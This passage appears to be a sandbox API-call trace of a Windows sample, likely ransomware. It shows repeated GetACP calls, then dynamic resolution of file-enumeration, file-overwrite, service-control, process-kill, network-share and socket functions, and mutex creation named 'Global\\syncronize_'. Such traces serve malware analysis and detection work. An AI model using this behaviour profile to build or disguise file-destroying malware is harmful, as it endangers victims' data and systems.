0x4e4 [0230.549] GetACP () returned 0x4e4 [0230.549] GetACP () returned 0x4e4 [0230.549] GetACP () returned 0x4e4 [0230.549] GetACP () returned 0x4e4 [0230.549] GetACP () returned 0x4e4 [0230.549] GetACP () returned 0x4e4 [0230.549] GetACP () returned 0x4e4 [0230.549] GetACP () returned 0x4e4 [0230.549] GetACP () returned 0x4e4 [0230.549] GetACP () returned 0x4e4 [0230.549] GetACP () returned 0x4e4 [0230.549] GetACP () returned 0x4e4 [0230.549] GetACP () returned 0x4e4 [0230.549] GetACP () returned 0x4e4 [0230.549] GetACP () returned 0x4e4 [0230.549] GetACP () returned 0x4e4 [0230.549] GetACP () returned 0x4e4 [0230.549] GetACP () returned 0x4e4 [0230.549] GetACP () returned 0x4e4 [0230.549] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.550] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.551] GetACP () returned 0x4e4 [0230.552] GetACP () returned 0x4e4 [0230.552] GetACP () returned 0x4e4 [0230.552] GetACP () returned 0x4e4 [0230.552] GetACP () returned 0x4e4 [0230.552] GetACP () returned 0x4e4 [0230.552] GetACP () returned 0x4e4 [0230.552] GetACP () returned 0x4e4 [0230.552] GetACP () returned 0x4e4 [0230.552] GetACP () returned 0x4e4 [0230.552] GetACP () returned 0x4e4 [0230.552] GetACP () returned 0x4e4 [0230.559] GetACP () returned 0x4e4 [0230.562] GetACP () returned 0x4e4 [0230.564] GetACP () returned 0x4e4 [0230.564] GetACP () returned 0x4e4 [0230.675] GetACP () returned 0x4e4 [0230.729] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.823] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.824] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.825] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.826] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.827] GetACP () returned 0x4e4 [0230.926] GetACP () returned 0x4e4 [0230.932] GetACP () returned 0x4e4 [0239.818] VirtualProtect (in: lpAddress=0x400000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x51490f0 | out: lpflOldProtect=0x51490f0*=0x40) returned 1 [0239.818] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x75420000 [0239.818] GetProcAddress (hModule=0x75420000, lpProcName="GetProcAddress") returned 0x754351b0 [0239.818] GetProcAddress (hModule=0x75420000, lpProcName="LoadLibraryA") returned 0x75435a80 [0239.818] GetProcAddress (hModule=0x75420000, lpProcName="WaitForSingleObject") returned 0x7548eca0 [0239.819] GetProcAddress (hModule=0x75420000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7548ebb0 [0239.819] GetProcAddress (hModule=0x75420000, lpProcName="LeaveCriticalSection") returned 0x77deb250 [0239.819] GetProcAddress (hModule=0x75420000, lpProcName="GetLastError") returned 0x75435010 [0239.819] GetProcAddress (hModule=0x75420000, lpProcName="EnterCriticalSection") returned 0x77deb2d0 [0239.819] GetProcAddress (hModule=0x75420000, lpProcName="ReleaseMutex") returned 0x7548ec20 [0239.819] GetProcAddress (hModule=0x75420000, lpProcName="CloseHandle") returned 0x7548eab0 [0239.820] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75420000 [0239.820] GetProcAddress (hModule=0x75420000, lpProcName="GetProcAddress") returned 0x754351b0 [0239.820] GetProcAddress (hModule=0x75420000, lpProcName="GetModuleHandleW") returned 0x754350d0 [0239.820] GetProcAddress (hModule=0x75420000, lpProcName="FindNextFileW") returned 0x7548ee40 [0239.820] GetProcAddress (hModule=0x75420000, lpProcName="FindClose") returned 0x7548ed70 [0239.820] GetProcAddress (hModule=0x75420000, lpProcName="MoveFileW") returned 0x7546e500 [0239.820] GetProcAddress (hModule=0x75420000, lpProcName="GetFileSizeEx") returned 0x7548ef40 [0239.820] GetProcAddress (hModule=0x75420000, lpProcName="GetModuleFileNameW") returned 0x75435090 [0239.821] GetProcAddress (hModule=0x75420000, lpProcName="GetFileAttributesW") returned 0x7548ef10 [0239.821] GetProcAddress (hModule=0x75420000, lpProcName="ExitProcess") returned 0x75433cb0 [0239.821] GetProcAddress (hModule=0x75420000, lpProcName="GetCommandLineW") returned 0x75434cc0 [0239.821] GetProcAddress (hModule=0x75420000, lpProcName="GetComputerNameW") returned 0x754632c0 [0239.821] GetProcAddress (hModule=0x75420000, lpProcName="GetComputerNameA") returned 0x75463780 [0239.821] GetProcAddress (hModule=0x75420000, lpProcName="CreateMutexW") returned 0x7548eb70 [0239.821] GetProcAddress (hModule=0x75420000, lpProcName="lstrlenW") returned 0x75436c70 [0239.821] GetProcAddress (hModule=0x75420000, lpProcName="lstrlenA") returned 0x75436c50 [0239.821] GetProcAddress (hModule=0x75420000, lpProcName="GetCurrentProcess") returned 0x7548ea10 [0239.821] GetProcAddress (hModule=0x75420000, lpProcName="WaitForSingleObject") returned 0x7548eca0 [0239.822] GetProcAddress (hModule=0x75420000, lpProcName="GetLogicalDrives") returned 0x75430d20 [0239.822] GetProcAddress (hModule=0x75420000, lpProcName="GetTickCount") returned 0x7548dd50 [0239.822] GetProcAddress (hModule=0x75420000, lpProcName="DeleteFileW") returned 0x7548ed40 [0239.822] GetProcAddress (hModule=0x75420000, lpProcName="WideCharToMultiByte") returned 0x75436b10 [0239.822] GetProcAddress (hModule=0x75420000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7548ebb0 [0239.822] GetProcAddress (hModule=0x75420000, lpProcName="Sleep") returned 0x75436760 [0239.822] GetProcAddress (hModule=0x75420000, lpProcName="LeaveCriticalSection") returned 0x77deb250 [0239.822] GetProcAddress (hModule=0x75420000, lpProcName="ReadFile") returned 0x7548f090 [0239.822] GetProcAddress (hModule=0x75420000, lpProcName="CreateFileW") returned 0x7548ed10 [0239.823] GetProcAddress (hModule=0x75420000, lpProcName="OpenMutexW") returned 0x7548ebf0 [0239.823] GetProcAddress (hModule=0x75420000, lpProcName="EnterCriticalSection") returned 0x77deb2d0 [0239.823] GetProcAddress (hModule=0x75420000, lpProcName="WaitForMultipleObjects") returned 0x7548ec80 [0239.823] GetProcAddress (hModule=0x75420000, lpProcName="lstrcmpiW") returned 0x75436bf0 [0239.823] GetProcAddress (hModule=0x75420000, lpProcName="lstrcmpiA") returned 0x75436bd0 [0239.823] GetProcAddress (hModule=0x75420000, lpProcName="DeleteCriticalSection") returned 0x77dcfb90 [0239.823] GetProcAddress (hModule=0x75420000, lpProcName="ReleaseMutex") returned 0x7548ec20 [0239.823] GetProcAddress (hModule=0x75420000, lpProcName="CloseHandle") returned 0x7548eab0 [0239.823] GetProcAddress (hModule=0x75420000, lpProcName="GetVersion") returned 0x754356c0 [0239.824] GetProcAddress (hModule=0x75420000, lpProcName="CreateThread") returned 0x754346b0 [0239.824] GetProcAddress (hModule=0x75420000, lpProcName="ExpandEnvironmentStringsW") returned 0x75434a40 [0239.824] GetProcAddress (hModule=0x75420000, lpProcName="QueryPerformanceCounter") returned 0x75435da0 [0239.824] GetProcAddress (hModule=0x75420000, lpProcName="QueryPerformanceFrequency") returned 0x75435dc0 [0239.824] GetProcAddress (hModule=0x75420000, lpProcName="GetCurrentProcessId") returned 0x7548ea20 [0239.824] GetProcAddress (hModule=0x75420000, lpProcName="SetFileAttributesW") returned 0x7548f100 [0239.824] GetProcAddress (hModule=0x75420000, lpProcName="GetVolumeInformationW") returned 0x7548f020 [0239.824] GetProcAddress (hModule=0x75420000, lpProcName="WriteFile") returned 0x7548f180 [0239.824] GetProcAddress (hModule=0x75420000, lpProcName="SetFilePointerEx") returned 0x7548f130 [0239.825] GetProcAddress (hModule=0x75420000, lpProcName="SetEndOfFile") returned 0x7548f0e0 [0239.825] GetProcAddress (hModule=0x75420000, lpProcName="FindFirstFileW") returned 0x7548edf0 [0239.825] GetProcAddress (hModule=0x75420000, lpProcName="GetProcessHeap") returned 0x754351f0 [0239.825] GetProcAddress (hModule=0x75420000, lpProcName="HeapReAlloc") returned 0x77ddf630 [0239.825] GetProcAddress (hModule=0x75420000, lpProcName="HeapAlloc") returned 0x77de2dc0 [0239.825] GetProcAddress (hModule=0x75420000, lpProcName="HeapFree") returned 0x754357f0 [0239.825] GetProcAddress (hModule=0x75420000, lpProcName="CreatePipe") returned 0x75434590 [0239.825] GetProcAddress (hModule=0x75420000, lpProcName="SetHandleInformation") returned 0x7548eae0 [0239.825] GetProcAddress (hModule=0x75420000, lpProcName="CreateProcessW") returned 0x75434610 [0239.826] GetProcAddress (hModule=0x75420000, lpProcName="CompareStringW") returned 0x75434430 [0239.826] GetProcAddress (hModule=0x75420000, lpProcName="CompareStringA") returned 0x75434410 [0239.826] GetProcAddress (hModule=0x75420000, lpProcName="OpenProcess") returned 0x75435cc0 [0239.826] GetProcAddress (hModule=0x75420000, lpProcName="TerminateProcess") returned 0x754367e0 [0239.826] GetProcAddress (hModule=0x75420000, lpProcName="GetSystemTime") returned 0x754354e0 [0239.828] GetProcAddress (hModule=0x75420000, lpProcName="SystemTimeToFileTime") returned 0x754367a0 [0239.828] GetProcAddress (hModule=0x75420000, lpProcName="GetLastError") returned 0x75435010 [0239.828] GetProcAddress (hModule=0x75420000, lpProcName="CreateToolhelp32Snapshot") returned 0x7546edc0 [0239.828] GetProcAddress (hModule=0x75420000, lpProcName="Process32NextW") returned 0x7546f8f0 [0239.829] GetProcAddress (hModule=0x75420000, lpProcName="Process32FirstW") returned 0x7546f750 [0239.829] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77a40000 [0239.829] GetProcAddress (hModule=0x77a40000, lpProcName="RegOpenKeyExW") returned 0x77a5e580 [0239.829] GetProcAddress (hModule=0x77a40000, lpProcName="RegQueryValueExW") returned 0x77a5e5a0 [0239.829] GetProcAddress (hModule=0x77a40000, lpProcName="RegSetValueExW") returned 0x77a5f530 [0239.829] GetProcAddress (hModule=0x77a40000, lpProcName="RegCloseKey") returned 0x77a5ed60 [0239.829] GetProcAddress (hModule=0x77a40000, lpProcName="OpenProcessToken") returned 0x77a5efb0 [0239.829] GetProcAddress (hModule=0x77a40000, lpProcName="GetTokenInformation") returned 0x77a5ee90 [0239.829] GetProcAddress (hModule=0x77a40000, lpProcName="OpenSCManagerW") returned 0x77a60540 [0239.829] GetProcAddress (hModule=0x77a40000, lpProcName="OpenServiceW") returned 0x77a5fa20 [0239.830] GetProcAddress (hModule=0x77a40000, lpProcName="CloseServiceHandle") returned 0x77a5fc00 [0239.830] GetProcAddress (hModule=0x77a40000, lpProcName="ControlService") returned 0x77a726d0 [0239.830] GetProcAddress (hModule=0x77a40000, lpProcName="QueryServiceStatus") returned 0x77a62380 [0239.830] GetProcAddress (hModule=0x77a40000, lpProcName="EnumDependentServicesW") returned 0x77a72f70 [0239.830] GetProcAddress (hModule=0x77a40000, lpProcName="EnumServicesStatusExW") returned 0x77a5fc80 [0239.830] LoadLibraryA (lpLibFileName="user32.dll") returned 0x752e0000 [0239.830] GetProcAddress (hModule=0x752e0000, lpProcName="SystemParametersInfoW") returned 0x7530f210 [0239.830] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76060000 [0239.830] GetProcAddress (hModule=0x76060000, lpProcName="ShellExecuteExW") returned 0x761c4730 [0239.830] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77da0000 [0239.831] GetProcAddress (hModule=0x77da0000, lpProcName="NtQuerySystemInformation") returned 0x77e12070 [0239.831] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74600000 [0239.885] GetProcAddress (hModule=0x74600000, lpProcName="WNetCloseEnum") returned 0x74602640 [0239.885] GetProcAddress (hModule=0x74600000, lpProcName="WNetOpenEnumW") returned 0x74602790 [0239.885] GetProcAddress (hModule=0x74600000, lpProcName="WNetEnumResourceW") returned 0x74602410 [0239.885] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75d40000 [0239.895] GetProcAddress (hModule=0x75d40000, lpProcName="WSAStartup") returned 0x75d45b40 [0239.895] GetProcAddress (hModule=0x75d40000, lpProcName="socket") returned 0x75d54510 [0239.895] GetProcAddress (hModule=0x75d40000, lpProcName="send") returned 0x75d45030 [0239.896] GetProcAddress (hModule=0x75d40000, lpProcName="recv") returned 0x75d50c50 [0239.896] GetProcAddress (hModule=0x75d40000, lpProcName="connect") returned 0x75d45410 [0239.896] GetProcAddress (hModule=0x75d40000, lpProcName="closesocket") returned 0x75d50910 [0239.896] GetProcAddress (hModule=0x75d40000, lpProcName="gethostbyname") returned 0x75d76cb0 [0239.896] GetProcAddress (hModule=0x75d40000, lpProcName="inet_addr") returned 0x75d59160 [0239.896] GetProcAddress (hModule=0x75d40000, lpProcName="ntohl") returned 0x75d449d0 [0239.896] GetProcAddress (hModule=0x75d40000, lpProcName="htonl") returned 0x75d449d0 [0239.896] GetProcAddress (hModule=0x75d40000, lpProcName="htons") returned 0x75d58ff0 [0239.896] GetProcessHeap () returned 0x630000 [0239.896] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x20) returned 0x63b0d8 [0239.896] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=8178113909) returned 1 [0239.897] GetTickCount () returned 0x13f56 [0239.897] GetCurrentProcessId () returned 0xdac [0239.898] GetTickCount () returned 0x13f56 [0239.898] GetTickCount () returned 0x13f56 [0239.899] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x20) returned 0x63b088 [0239.899] GetVersion () returned 0x23f00206 [0239.899] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7) returned 0x6491e8 [0239.899] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677b78 [0239.899] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677b78, Size=0x20) returned 0x63b0b0 [0239.899] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x63b0b0, Size=0x40) returned 0x6428d8 [0239.899] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x687528 [0239.899] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_Q25317A") returned 0x0 [0239.899] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_Q25317A") returned 0xf3c [0239.899] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6491e8 | out: hHeap=0x630000) returned 1 [0239.899] lstrlenW (lpString="Global\\syncronize_") returned 18 [0239.899] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6428d8 | out: hHeap=0x630000) returned 1 [0239.899] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7) returned 0x6491e8 [0239.899] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677c68 [0239.899] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677c68, Size=0x20) returned 0x63b0b0 [0239.899] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x63b0b0, Size=0x40) returned 0x6428d8 [0239.899] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x697530 [0239.900] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_Q25317U") returned 0x0 [0239.900] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_Q25317U") returned 0xf40 [0239.900] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6491e8 | out: hHeap=0x630000) returned 1 [0239.900] lstrlenW (lpString="Global\\syncronize_") returned 18 [0239.900] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6428d8 | out: hHeap=0x630000) returned 1 [0239.900] GetVersion () returned 0x23f00206 [0239.900] GetCurrentProcess () returned 0xffffffff [0239.900] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0xf44) returned 1 [0239.900] GetTokenInformation (in: TokenHandle=0xf44, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0239.900] CloseHandle (hObject=0xf44) returned 1 [0239.900] WaitForSingleObject (hHandle=0xf40, dwMilliseconds=0x0) returned 0x0 [0239.900] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x647538 [0239.900] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677ab8 [0239.900] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677ab8, Size=0x20) returned 0x63b0b0 [0239.900] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x63b0b0, Size=0x40) returned 0x642a40 [0239.901] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x642a40, Size=0x80) returned 0x636850 [0239.901] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x636850, Size=0x100) returned 0x63e4b0 [0239.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x34) returned 0x649d18 [0239.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x6491e8 [0239.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x649238 [0239.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6491f8 [0239.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x677b90 [0239.901] RtlAllocateHeap 